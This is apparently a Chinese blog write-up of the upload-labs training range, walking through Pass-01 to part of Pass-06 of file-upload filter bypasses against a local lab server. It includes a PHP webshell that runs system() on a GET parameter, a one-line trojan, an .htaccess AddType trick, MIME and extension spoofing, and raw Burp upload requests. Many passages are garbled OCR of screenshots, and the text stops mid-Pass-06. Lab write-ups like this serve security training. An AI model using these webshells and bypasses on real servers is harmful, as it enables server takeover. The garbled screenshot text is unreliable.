upload-labs 靶场练习

原创

 King_nul
 日子 2022-04-21 18:37:00 修改
 1264
 收藏

 分类专栏:
 <u>靶场练习</u>文章标签:
 <u>M络安全 php nginx apache web安全</u>

 子 2022-04-21 18:36:12 首次发布
 版权声明:
 本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

 本文链接:
 <u>https://blog.csdn.net/qq_45925514/article/details/124328594</u>

 版权



<u>
靶场练习 专栏收录该内容</u>

3 篇文章 0 订阅 订阅专栏

靶场简介

个人博客时光机



项目地址: https://github.com/c0ny1/upload-labs 本writeup所使用环境为作者所提供的 windows环境一键启动环境。

靶场环境

漏洞简介

文件上传漏洞是由于对上传的文件没有进行合理严格的过滤,导致攻击者上传的文件被服务端解析,导致恶意文件中所包含的恶意代码被执行,攻击者可以通过此文件执行服务端命令。

思维导图

可以点击【文件上传漏洞】查看思维导图原件。



开始闯关

Pass-01

看到上传接口,就先上传一个shell文件,开启BP抓包看看数据,判断是否有数据传送

௴₽Lood-loよ5			拦截(Intercept) HTTP历史记	灵(HTTP history)	WebSocket历史记录(WebSockets history)	选项(Options)
•			放行(Forward)	丢弃(Drop)	拦截开启(on) 操作	Action) 打开浏览器(Chro
Pass-01						
Pass-02						1
Pass-03	1 /m A					
Pass-04	上传一个 webshell 到版方器。					
Pass-05						
Pass-06						
Pass-07 Pass 09	请选择要上传的图片:					
Pass-00	》资 phoiofe pho					
Pass-10	Miggin hubino:hub					
Pass-11						
Pass-12						
Pass-13						
Pass-14						0
Pass-15		⊕ 192.168.58.21:8080				
Pass-16 Pass 17		该文件不允许上传,请上传.jpgl.pngl.gif类型的文件,当前文件类型				
Pass-18		J: .pnp				
Pass-19		确定				
Pass-20					Requests sent by Burg	's browser will be held here so th
					analyze and modify	hem before forwarding them to t
						server.
					Learn more	打耳白襟羽は第八〇
					Learn more	519T目中AIGAR(O

看到页面已经提示只能上传 这些图像文件,而且BP没有抓到数据包,说明没有从服务端进行验证,而是直接在前端对文件进行了校验。 直接使用浏览器的功能禁用js代码运行或者使用插件禁止。

ûpLood-lo∠	LS		显示源码查看提示	清空上传文件	CR ◎ HackBar (D 查看器) 拉制台 D 调试器 14 网络》 日 □ … 主题
Pass-01 Pass-02 Pass-03 Pass-04 Pass-05 Pass-06 Pass-07 Pass-08 Pass-09 Pass-10 Pass-11 Pass-12 Pass-13 Pass-13 Pass-14 Pass-15 Pass-16 Pass-17 Pass-18 Pass-19 Pass-20	任务 上传一个 whithall 到服务器。 上信区 请选择要上传的图片: 到还 phpinfo.php				 ○自動 ● Ré ○ (注色 查石器 ④ 里方(1)(200 H)式 ◆ 都臣 OM 希性 章 秋山島中位 ● 第9年位 ● 样式(編編器) ✓ 自动片金 CSS 截徑(万方 ①) ● 截徑(和時間) 1)(1) 編編器 普造 近頃 ◆ 建築(明前時) 1)(1) 編編器 普造 近頃 ◆ 建築(明前時) 1)(1) ● 電気(中間)(1)(1) ● 電気(1)(1)(1)(1)(1) ● 電気(1)(1)(1)(1)(1)(1) ● 電気(1)(1)(1)(1)(1)(1)(1) ● 電気(1)(1)(1)(1)(1)(1)(1)(1) ● 電気(1)(1)(1)(1)(1)(1)(1)(1)(1)(1)(1)(1)(1)(
	Copyri	ght @ by c0ny1			
				[▲ 長売 cecko 平台版画 ● 気間 HTTP 使行・(工具執行)(計) ◆ 気間 Motive Workers over HTTP (在工具執行所句) ◆ 用間地包括希知3月15日(社会)高式工具相 ● 用用品目指示 ● 用品目指示

再上传一次

Lipic Coll-10 Lipic Actual Mathematical Mathamatical Mathamatical Mathematical Mathematical Mathamatical Mat	▲ 1 (2015年) (2015F)
Pass-01 ***dif********************************	日本 > (dit) 'do=marb>(=) (dit) 日本 > (dit) 'do=marb>(=) (dit) 日本 > (dit) 'do=marb>(=) (dit) 上传一个 websatil 到服务署。 > (dit) 上传区 > (dit) (1) > (dit)
Pass-15 Pass-16 Pass-17 Pass-19 Pass-20 Pass-20	済造将要上传的图片: 302 未选择文件. 上作 302 未选择文件. 上作 303 未选择文件. 上作 303 未选择文件. 上作 304 日本(1) 100 1185-100001 * 000000

访问一下这个文件

phpinfo() ×				SEA SHEPHERN 🛬 📽 🏷
$\leftarrow \ \ \rightarrow \ \ \mathbf{G}$	🔿 👌 192.168.58.21:8080/upload/phpinfo.php			
		PHP Version	5.5.38 Php	
		System	Linux 25be7a005050 3.10.0-862.2.3.el7.x86_64 #1 SMP Wed May 9 18:05:47 UTC 2018 x86_64	
		Build Date	Aug 10 2016 21:02:47	
		Configure Command	'/configure' '-with-config-file-path=/usr/local/etc/php' '-with-config-file-scan- dir=/usr/local/etc/php/confd' '-disable-cgi' '-enable-ftp' '-enable-mbstring' '-enable-mysqlnd' '-with-curl' '-with-libedit' '-with-openssl' '-with-zlib' '- with-apsz'	
		Server API	Apache 2.0 Handler	
		Virtual Directory Support	disabled	
		Configuration File (php.ini) Path	/usr/local/etc/php	
		Loaded Configuration File	/usr/local/etc/php/php.ini	
		Scan this dir for additional .ini files	/usr/local/etc/php/conf.d	
		Additional .ini files parsed	/usr/local/etc/php/conf.d/docker-php-ext-exif.ini, /usr/local/etc/php/conf.d /docker-php-ext-gd.ini, /usr/local/etc/php/conf.d/php.ini	
		PHP API	20121113	
		PHP Extension	20121212	

成功访问到上传的文件,如果在文件上传漏洞中能正常的上传shell文件然后正常的访问到文件,说明这个漏洞就存在,然后就可以利用其他 方法进行getshell了。

源码

```
function checkFile() {
  var file = document.getElementsByName('upload_file')[0].value;
  if (file == null || file == "") {
     alert("请选择要上传的文件!");
     return false;
  }
  //定义允许上传的文件类型
  var allow_ext = ".jpgl.pngl.gif";
  //提取上传文件的类型
  var ext_name = file.substring(file.lastIndexOf("."));
  //判断上传文件类型是否允许上传
  if (allow_ext.indexOf(ext_name + "|") == -1) {
     var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为: " + ext_name;
     alert(errMsg);
     return false;
  }
}
```

方法: 客户端绕过

Pass-02

先随便上传一个shell文件,判断是黑白名单还是MIME限制。



提示说 文件类型不能上传,但是这样还判断不出来是说明限制,继续上传文件,测试那些文件可以上传上去。



发现图片的可以正常上传上去,将我们刚刚抓到的数据,文件后缀改成png看看能不能正常上传。

法求(Request)		III(t/(Respons)	Ir
差化(Pretty) 原始(Raw) 16进制(Hex) Cookies	🚍 \n ≡	= 差化(Pretty) 原始(Raw) 16进制(Hex) 順应内容(Render) 请求学(Headers) 同 \n =	
###CPrety ####CPrety 1 POST /Pass=02/index.php HTTP/1.1 2 Host: 192.168.58.21:8080 3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 4 Accept: Accept: Accept.text/hul.application/xhul+xml.application/xml:q=0.9, image/avif.image 5 Accept-Tanguage: http://log.168.58.21:8080 0 Content-Impre: multipart/form-data; boundary=	■ N = Firefox/100.0 /webp, */*; q=0.8	E 美校(Pretty) 腰坡(Raw) 16进制(Hex) 剩应内留(Render) 请求头(Headers)	Ri Ri Ri Ri

发现还是不能上传,但是刚刚的png图片就可以上传,所以这里可能是对文件的 MIME 进行了过滤,或者对文件内容进行了判断。 先修改文件的 **MIME** 也就是 **Content-Type** 字段

常用 MIME

PNG图像 .png image/png GIF图形 .gif image/gif JPEG图形 .jpeg,.jpg image/jpeg 普通文本 .txt text/plain

表明是某种二进制数据 .bin application/octet-stream

超文本标记语言文本 .html text/html



发现文件已经正常的上传上去了,然后访问一下这个文件

phpinfo() ×	+		
$\leftarrow \ \rightarrow \ \mathbf{G}$	🔿 👌 192.168.58.21:8080/upload/phpinfo.php		
		PHP Version	5.5.38 Php
		System	Linux 25be7a005050 3.10.0-862.2.3.el7.x86_64 #1 SMP Wed May 9 18:05:47 UTC 2018 x86_64
		Build Date	Aug 10 2016 21:02:47
		Configure Command	'./configure' 'with-config-file-path=/usr/local/etc/php' 'with-config-file-scan- dir=/usr/local/etc/php/confd' 'disable-cgi' 'enable-ftp' 'enable-mbstring' 'enable-mysqlnd' 'with-curl' 'with-libedit' 'with-openssl' 'with-zibi ' with-apszl'
		Server API	Apache 2.0 Handler
		Virtual Directory Support	disabled
		Configuration File (php.ini) Path	/usr/local/etc/php
		Loaded Configuration File	/usr/local/etc/php/php.ini
		Scan this dir for additional .ini files	/usr/local/etc/php/conf.d
		Additional .ini files parsed	/usr/local/etc/php/conf.d/docker-php-ext-exif.ini, /usr/local/etc/php/conf.d /docker-php-ext-gd.ini, /usr/local/etc/php/conf.d/php.ini
		PHP API	20121113
		PHP Extension	20121212

成功解析了,这时候就可以看到服务端 php 版本和中间件版本以及开启的模块等信息。

放行(Forward)	丢弃(Drop)	拦截开启(on)	操作(Action)	打开浏览器(Chromium)
美化(Pretty) 原始(Raw) 16进制(Hex) Cookie	es		
1 POST /Pass-02/ind	ex.php HTTP/1.1			
2 Host: 192.168.58.	21:8080			
3 User-Agent: Mozil	la/5.0 (Windows NT 10	.0; Win64; x64; rv::	100.0) Gecko/20100101	Firefox/100.0
4 Accept: text/html	, application/xhtml+xm	l, application/xml; q=	=0.9, image/avif, image	/webp, */*; q=0. 8
5 Accept-Language:	zh-CN, zh; q=0. 8, zh-TW;	q=0.7, zh-HK; q=0.5, er	n-US;q=0.3, en;q=0.2	
6 Accept-Encoding:	gzip, deflate			
7 Content-Type: mul	tipart/form-data; bou	ndar y=	3791798	54539157694802664853948
8 Content-Length: 4	47			
9 Origin: http://19	2.168.58.21:8080			
0 Connection: close				
1 Referer: http://1	92.168.58.21:8080/Pas:	s-02/index.php		
2 Upgrade-Insecure-	Requests: 1			
3				
4	379179854	53915769480266485394	48	
5 Content-Dispositi	on: form-data; name=""	upload_file"; filena	ame="cmd_get_info.php	, <i>"</i>
6 Content-Type: ima	ge/png			
7				
8 php</td <td></td> <td></td> <td></td> <td></td>				
9 \$cmd = \$_GET['inf	oʻj;			
0 \$getshell = syste	m(\$cmd);			
1 print_r(\$getshell);			
2 72	050150054	E001 EE60 400066 40E00	10	
3iti	3791798548	53915769480266485394	48	
4 Content-Dispositi	on: form-data; name= :	suomit		
5 上住				
10 上1安		E201 E760 400266 40E20.	40	
		22212102400700402234	±0	

上传完成后,访问上传的shell文件,并将想要执行的命令通过 info 进行传参,最后由 **system() **函数在系统上执行命令, **print_r **打印 结果到页面上。

192.168.58.21:8080/upload/cmd_×	+
$\leftarrow \ \ \rightarrow \ \ \mathbf{G}$	⑦ 8 192.168.58.21:8080/upload/cmd_get_info.php?info=ls

bj3.jpg cmd_get_info.php phpinfo.php readme.php readme.php

也可以上传一句话木马,然后使用webshell 工具进行连接

6	http://192.168.58.21:8080)请求来自					
	放行(Forward)	丢弃(Drop)		拦截开启(on)	操作(Action)	打开浏览器(Chromium)	
Ĭ	化(Pretty) 原始(Raw)	16进制(Hex)	Cookies				
1	POST /Pass-02/index.	.php HTTP/1.1					
2	Host: 192.168.58.21	:8080					
3	User-Agent: Mozilla,	/5.0 (Windows	NT 10.0; V	Vin64; x64; rv:1	00.0) Gecko/20100101	Firefox/100.0	
4	Accept: text/html,aj	pplication/xh	tml+xml, app	olication/xml;q=	0.9,image/avif,image	/webp, */*;q=0.8	
5	Accept-Language: zh	-CN, zh; q=0. 8, :	zh-TW;q=0.7	7, zh-HK;q=0.5, en	-US;q=0.3,en;q=0.2		
6	Accept-Encoding: gz:	ip, deflate					
7	Content-Type: multip	part/form-data	a; boundar;	/=	8719142	323299058703078124815	
8	Content-Length: 398						
9	Origin: http://192.1	168.58.21:808)				
10	Connection: close						
11	Referer: http://192.	. 168. 58. 21:80	30/Pass-02,	/index.php			
12	Upgrade-Insecure-Re	quests: 1					
13							
14		8719	91423232990	058703078124815	//	. "	
15	Content-Disposition	: form-data; 1	name="uploa	ad_file"; filenam	ne="hack_post_shell.	php	
10	Content-Type: image,	/png					
10	(0 m la m						
10	<pre></pre>	- 11 -					
20	2	Δ J/,					
20		8710	1 423232990	58703078124815			
22	Content-Disposition	· form-data:	91423232990 name=″subm:	+″			
23	content proposition	. ioim uata, i	iame- subm.				
24	上传						
25		8719	91423232990	058703078124815-	-		
		0.11					

使用菜刀进行连接

こ目表明表(0) く ジンサルチ(5) ・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・	▲ 🖿 🗅 192.168.58.21 🛞			۱.
・ 小山 ・ ・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・	□ 目录列表(0) <	① 文件列表 (5)		^
・ var ・ たいせい ・ たいしい ・ のたいしい		O新建 → ↑上层 ○刷新 常主目录	■书签 マ /var/www/html/upload/	→读取
▶ html ■ upload ▶ j3,jpg 2022-04-16 07:25:51 1.01 Mb 0644 ☆ cmd_get_info.php 2022-04-16 08:03:24 80 b 0644 ☆ hack_post_shell.php 2022-04-16 07:46:08 23 b 0644 ☆ readme.php 2022-04-16 06:56:15 36 b 0755 ↓ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0	e- 🗖 var	名称	日期 大小	属性
w upload w cnd_get_info.php 2022-04-16 08:03:24 80 b 0644 0 hack_post_shell.php 2022-04-16 08:09:40 34 b 0644 0 phpinfo.php 2022-04-16 06:56:15 36 b 0755 w readme.php 2022-04-16 06:56:15 36 b 0755	B-⊡ www	bj3.jpg	2022-04-16 07:25:51 1.01 M	lb 0644
hack_post_shell.php 2022-04-16 08:09:40 34 b 0644 phpinfo.php 2022-04-16 07:46:08 23 b 0644 readme.php 2022-04-16 06:56:15 36 b 0755	upload	cmd_get_info.php	2022-04-16 08:03:24 80	b 0644
		hack_post_shell.php	2022-04-16 08:09:40 34	b 0644
		phpinfo.php	2022-04-16 07:46:08 23	b 0644
		Treadme.php	2022-04-16 06:56:15 36	b 0755

源码
\$is_upload = false;
\$msg = null;
if (isset(\$_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) { //校验文件的MIME类型,只能为 image/png、image/jpeg、image/gif 才能上传成功
if ((\$_FILES['upload_file']['type'] == 'image/jpeg') (\$_FILES['upload_file']['type'] == 'image/png') (\$_FILES['upload_file']['type'] == 'image
/gif')) {
<pre>\$temp_file = \$_FILES['upload_file']['tmp_name'];</pre>
\$img_path = UPLOAD_PATH . '/' . \$_FILES['upload_file']['name']
if (move_uploaded_file(\$temp_file, \$img_path)) {
\$is_upload = true;
} else {
\$msg = '上传出错!';
}
} else {
\$msg = '文件类型不正确,请重新上传!';
}
} else {
\$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}

方法: MIME/Content-Type字段验证绕过

Pass-03

一样先测试有什么限制,判断限制的类型,再进行绕过

上传一个 webshell 到服务器。		
上传区		
请 选 择 要 上 传 的 图 片:		
浏览 未选择文件。		

上传一个php文件之后提示不能上传这些后缀的文件,说明这是一个【黑名单限制】凡是在黑名单内的文件都不能上传,但是提示中只写了 四个文件后缀,可以尝试一下其他可被解析的文件后缀,尝试绕过。



把后缀修改为 php3 后发现上传成功,而且文件被改了名字,先访问一下,看看是否可以被解析。

		DIE A	onern	ERU	
C & 192.168.58.21:80.80/Upload/202204160.817504941.php3		2			~ • ~
	🕞 🥘 HackBar	● 査看器 ●	控制台 D 调试器	1↓ 网络 ≫	б] ••• ×
	Q. 搜索 HTML				+ 1
	?php phpinfo();</td <td></td> <td></td> <td></td> <td></td>				
	<head></head>				
	<body></body>				
	html ≻ body				



尝试了几类都不能解析,就没办法了,这里是绕过黑名单,可以使用 .php3 .php5 .php7 .phtml 等这类可以被解析的后缀进行上传,但是 服务端使用的是apache 中间件,而且上传的文件被更改了名字没办法使用**.htaccess**文件进行解析,只能自己到环境中添加一个 解析配 置,从而完成这关。

修改 容器环境内apache2.conf文件

root@25be7a005050:/etc/apache2# echo 'AddType application/x-httpd-php .php3 .php7 .phtml' >> apache2.conf root@25be7a005050:/etc/apache2# cat apache2.conf | grep AddType AddType application/x-httpd-php .php3 .php7 .phtml

*重启一下容器,再访问上传的.*php3 .php7 .phtml这类文件 [root@vulnshow~]# docker restart upload-labs upload-labs

再次访问 php3 文件, 就可以看到文件被解析了, 这关中 绕过黑名单 的目的也达到了, 前提是服务端能够解析这些文件。



```
# 源码
msg = null;
f (isset($_POST['submit'])) {
 if (file_exists(UPLOAD_PATH)) {
    $deny_ext = array('.asp','.aspx','.php','.jsp'); // 定义黑名单的数组
   $file_name = trim($_FILES['upload_file']['name']);//删除文件两端的全部空格、\0、\r、\n、\t、等特殊字符
    $file_name = deldot($file_name);//删除文件名末尾的点
   $file ext = strtolower($file ext); //转换为小写, 防止windows系统对大小写不敏感
    $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA, 防止windows系统对::$DATA之后的字符全部删除
    $file_ext = trim($file_ext); //收尾去空
   if(!in_array($file_ext, $deny_ext)) {
      $temp_file = $_FILES['upload_file']['tmp_name'];
      $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
      if (move_uploaded_file($temp_file,$img_path)) {
     } else {
        $msg = '上传出错! ';
   } else {
      $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
 } else {
   $msg = UPLOAD_PATH. '文件夹不存在,请手工创建!';
```

方法: 配置文件不规范导致一些文件被成功解析

Pass-04

还是一样先尝试上传,这次直接上传一个.phtml 的文件,再判断过滤类型。



直接被拦截了,说明这里很可能还是黑名单限制,随便上传一个不存在的文件后缀,看看是否能上传。

								Increator
请求(Request)		响应(Respon	s)					inspector
美化(Pretty) 原始(Raw) 16进制(Hex) Cookies 🗊 \n	=	美化(Pretty)	原始(Raw)	16进制(Hex)	响应内容(Render)	请求头(Headers)	🗐 \n ≡	Request Attrik
1 POST /Pass-04/index.php HTTP/1.1			任务					
2 Host: 192.168.58.21:8080								Request Quer
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0		56						
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8			上传一	个 <code></code>				Request Body
5 Accept-Language: zh-CN, zh;q=0.8, zh-TW;q=0.7, zh-HK;q=0.5, en-US;q=0.3, en;q=0.2			webs	shell				
6 Accept-Encoding: gzlp, dellate			<td>e></td> <td></td> <td></td> <td></td> <td>Request Cool</td>	e>				Request Cool
content-Type: multipart/form-data;			到服务	ar .				inequest coor
boundary=								antebàl (Denous
o Content-Length: 569		57	11					请永夫(neque:
o origin. http://ioz.ioz.o.zi.oodo		58	<112 /hax					
1 Reference http://192_168_58_21.8080/Pass=04/index_nhn		59	上桂区					Response Hei
2 Iberade-Insecure-Requests: 1								
13		60	<form er<="" td=""><td>nctype="multi-</td><td>part/form-data"</td><td>method="post" onsubmit="return</td><td>checkFile()"></td><td></td></form>	nctype="multi-	part/form-data"	method="post" onsubmit="return	checkFile()">	
1438598258771061922798729657471		61						
15 Content-Disposition: form-data; name="upload_file"; filename="phpinfo.abcdefghijk"			请选	择要上传的图片	t:			
16 Content-Type: application/octet-stream		62	<i< td=""><td>input class="</td><td>input_file" type</td><td>e="file" name="upload_file"/></td><td></td><td></td></i<>	input class="	input_file" type	e="file" name="upload_file"/>		
17		63	<i< td=""><td>input class="</td><td>button″<mark>type=</mark>″su</td><td>ubmit″ name=″submit″ value=″上传</td><td>ŧ″/></td><td></td></i<>	input class="	button″ <mark>type=</mark> ″su	ubmit″ name=″submit″ value=″上传	ŧ″/>	
18 php phpinfo(); ?		64	<td>orm></td> <td></td> <td></td> <td></td> <td></td>	orm>				
19		65	<di td="" v<=""><td>/ id="msg"></td><td></td><td></td><td></td><td></td></di>	/ id="msg">				
		66	<td>· · ·</td> <td></td> <td></td> <td></td> <td></td>	· · ·				
21		67	<di td="" v<=""><td>/ id="img"></td><td></td><td></td><td></td><td></td></di>	/ id="img">				
22 Content-Disposition: form-data; name- submit		68	<1	img src="/u	pload/phpinfo.at	bcdeighijk" width="250px" />		
20 21 - M			1.1.1					
25		60						
		70	(0)					
		71						
		72	.,					
		73						
		74 <	/div>					
		75 <	div id="foo	oter">				

正常上传上去了,说明这里肯定是黑名单没错了,如果是白名单就是会限制只能上传哪些后缀的文件(如只能上传png,jpeg,gif),黑名单就是 会限制不能上传那些后缀的文件(如上一题中的,php、asp这类文件明确不能上传),绕过黑名单的方法就是一个一个测试,看看那些敏感文 件被忽略了没写全。

apache2 中和配置相关的敏感配置文件就是【.htaccess】文件

nginx 中则是【.user.ini】文件

这两个文件的作用是一样的,只是配置语法不一样,.htaccess 和 .user.ini 文件中的配置可以覆盖apache2.conf中的配置,并对当前目录 和子目录生效。

看到这里上传的文件并没有修改文件名,所以就直接先上传一个.htaccess 文件。

发送(Send) 取消(Cancel) < ▼ > ▼						目标: ト	http://192.168.58.21:8080
请求(Request)		响应(Resp	ons)				Inspector
能化(Pretty) 原始(Raw) 16进制(Hex) Cookies 5	\n ≡	美化(Pretty)) 原始(Raw) 16进制(Hex)	响应内容(Render)	请求头(Headers)	≣ \n ≡	Request Attributes
1 POST /Pass-04/index.php HTTP/1.1 2 Host: 192.168.58.21:8080 3 User-Awent: Mozilla/5.0 (Windows NT 10.0: Win64: x64: rv:100.0) Gecko/20100101 Firefox/100.	0	55	<h3> 任务 </h3>				Request Query Paramete
Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp,*/*;q=0 Accept-Language: zh=CN, zh;q=0.8, zh=TW;q=0.7, zh=HK;q=0.5, en=US;q=0.3, en;q=0.2	. 8	56	> 上传一个 <code> webshell</code>				Request Body Parameter
Content-Type: multipart/form-data; boundary=			 到服务器。				Request Cookies
Content-Length: 404 Origin: http://192.168.58.21:8080		57					请求头(Request Headers)
Unnection: close Refere: http://192.168.58.21:8080/Pass-04/index.php Upgrade-Insecure-Requests: 1		59	<h3> 上传区</h3>				Response Headers
36596250771061922798729667471		60	<form enctype="mult</td><td>ipart/form-data</td><td>'method=" onsubmit="</td" post"=""><td><pre>"return checkFile()"></pre></td><td></td></form>	<pre>"return checkFile()"></pre>			
Content-Disposition: form-data; name="upload_file"; filename=".htaccess" Content-Type: application/octet-stream		61 62	请选择要上传的图 <input class="</td"/> <td>片: > "input_file" typ</td> <td>e="file" name="upload_fi</td> <td>ile"/></td> <td></td>	片: > "input_file" typ	e="file" name="upload_fi	ile"/>	
AddType application/x-httpd-php .abcdefghijk		63 64 65	<input class="<br"/> <div id="msg"></div>	"button" type="s	submit" name="submit" val	lue="上传"/>	
		66 67 68	<pre><div id="img"> <img src="/</pre></td><td>upload/.htaccess</td><td>s" width="250px"/></div></pre>]			
」 工作で 		69 70	/i]	
		71 72 72					
		74 75 76	 <div id="footer"></div>				

成功上传.htaccess 文件,文件中的内容意思是:将 **.abcdefghijk **后缀的文件使用php语法进行解析,并且在当前目录和子目录中生效。

phpinfo()	×] +				SEA SHEPHERN	
$\leftarrow \rightarrow c$	3	C	원 192.168.58.21:8080/upload/phpinfo.abcdefghijk			目☆ マ メ 🖤 (
				PHP Version	5.5.38 Php)	
				System	Linux 25be7a005050 3.10.0-862.2.3.el7.x86_64 #1 SMP Wed May 9 18:05:47 UTC 2018 x86_64		
				Build Date	Aug 10 2016 21:02:47		
				Configure Command	'/configure' 'with-config-file-path=/usr/local/etc/php' 'with-config-file-scan- dir=/usr/local/etc/php/confd' 'disable-cgi' 'enable-ftp' 'enable-mbstring' 'enable-mysqlnd' 'with-curl' 'with-libedit' 'with-openss! 'with-zlib' ' with-apsz?		
				Server API	Apache 2.0 Handler		
				Virtual Directory	disabled		

nf.d/docker-php-ext-exif.ini, /usr/local/etc/php/conf.d ii, /usr/local/etc/php/conf.d/php.ini

Configuration File php.ini) Path

> dir for I .ini files

成功绕过了黑名单的过滤限制。

源码
\$is_upload = false;
\$msg = null;
if (isset(\$_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) { // 过滤一堆的文件后缀,就是没过滤 .htaccess 和 .user.ini 文件
\$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHt",".pHp5",".pHp4",".pHp3",".pHp2","pHp
1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSv",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax"
,".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
\$file_name = trim(\$_FILES['upload_file']['name']);
\$file_name = deldot(\$file_name);//删除文件名末尾的点
<pre>\$file_ext = strrchr(\$file_name, '.');</pre>
\$file_ext = strtolower(\$file_ext); //转换为小写
\$file_ext = str_ireplace('::\$DATA', '', \$file_ext);// <i>去除字符串::</i> \$DATA
\$file_ext = trim(\$file_ext); //收尾去空
if (!in_array(\$file_ext, \$deny_ext)) {
<pre>\$temp_file = \$_FILES['upload_file']['tmp_name'];</pre>
\$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).\$file_ext;
if (move_uploaded_file(\$temp_file, \$img_path)) {
\$is_upload = true;
} else {
\$msg = '上传出错!';
}
} else {
\$msg = '此文件不允许上传!';
}
} else {
\$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}

方法: Apache 敏感文件上传漏洞

Pass-05(Windows环境)

```
这关比较难搞,尝试了几种绕过都不行,先分析下源码吧
```

is_upload = false;
msg = null;
(isset(\$_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
\$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp2",".Html",".Htm
".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx"
.asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
\$file_name = trim(\$_FILES['upload_file']['name']);//过滤两端的空格
\$file_name = deldot(\$file_name);//删除文件名末尾的点
\$file_ext = str_ireplace('::\$DATA', '', \$file_ext);//去除字符串::\$DATA
\$file_ext = trim(\$file_ext); //首尾去空
if (!in array(\$file ext, \$deny ext)) {
<pre>\$temp file = \$ FILES['upload file']['tmp name']:</pre>
\$img_path = UPLOAD_PATH.//.date("YmdHis").rand(1000.9999).\$file_ext:// 更改文件名
if (move uploaded file(Stemp file, Sima path)) {
\$is upload = true:
) else {
\$msq = '上传出错!'
\$msg ='此文件类型不分许上供!'
「CISE { 『mog = LIDI OAD_DATH 」 立研立不安在 法手工创建 L ':
·····································

首先,先使用 trim() 函数将文件的首尾空格都去除,然后使用 deldot() 函数将文件末尾的点去除掉,再使用 strrchr() 函数截取文件名中 最后一个点到最后的字符串,再使用 str_ireplace() 函数将字符串中含有 ::\$DATA 的部分替换为空,最后再对字符串进行首尾去空,再进 行后缀的校验。

1、先看前面的操作,如果在 Linux 下,排除大小写绕过、排除使用 **.user.ini **文件

2、由于strrchr()函数会截取指定字符串位置到最后位置的全部字符,没办法在中间添加空格或者0x00截断

3、最后修改了上传文件后缀之前的全部字符

最终,这关如果在linux环境下感觉没什么方法可以绕过,但是如果在windows下遇见这种类型的漏洞,完全可以进行绕过。



这是在windows上搭建的环境,源码基本和upload-labs是一致的,这边就用这个靶场演示在 windows 下如何绕过,一样直接上传一个shell 文件,根据windows 大小写不敏感的特性,就可以直接将后缀进行大小写替换这种进行绕过,而且源码中并没有对文件进行大小写过滤。

放行(Forward) 丢弃(Drop) 拦截开启(on) 操作(Action) 打开浏览器(Chromium)	个项目(Comment this item) 🛛 👋	HTTP/1 (?
美化(Pretty) 原始(Raw) 16进制(Hex) Cookies 🗐 🗤 三	Inspector 🔳 🗉	÷ 🔅	×
1 POST /Pass-05/index.php HTTP/1.1			
2 Host: 192.168.93.128:8082	Request Attributes	2	\sim
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0			
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8	Request Overy Parameters	0	\sim
5 Accept-Language: zh-CN, zh; q=0. 8, zh-TW; q=0. 7, zh-HK; q=0. 5, en-US; q=0. 3, en; q=0. 2			
6 Accept-Encoding: gzip, deflate	Request Body Parameters	2	~
7 [Content-Type: multipart/form-data; boundary=	Request body Parameters	2	Ť.
8 Content-Length: 382			
9 Origin: http://192.168.93.128:8082	Request Cookies	0	~
10 Connection: close			
11 Referer: http://192.168.93.128:8082/Pass=05/index.php	请求头(Request Headers)	11	\sim
12 Upgrade-Insecure-Requests: 1			
13			
1429853040602237535399395706320			
15 Content-Disposition: form-data; name="upload_file"; filename="phpinfo.PHP"			
16 Content-Type: application/octet-stream			
17			
18 php phpinfo(); ?			
19			
20			
2129853040602237535399395706320			
22 [Content-Disposition: form-data; name="submit"			
23			
24 上传			
95			



成功上传了,直接访问即可

方法: 大小写绕过

Pass-06(windows环境)

随便上传一个文件先看看

请求(Request)		响应(Respon	s)										
羔化(Pretty) 原始(Raw) 16进制(Hex) Cookies 🗐 \n ☰		美化(Pretty)	原始(Raw)	16)	进制(Hex)	OP	閉应内容(Rei	nder)	请求头(Heade	rs)		5	\n ≡
1 POST /Pass-06/index.php HTTP/1.1			$\langle n \rangle$,									
2 Host: 192.168.58.21:8080	5	6	1i										
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0	5	7	<1i>>										
4 Accept: text/html, application/xhtml+xml, application/xml; q=0. 9, image/avif, image/webp, */*; q=0. 8	5	8	<h3></h3>										
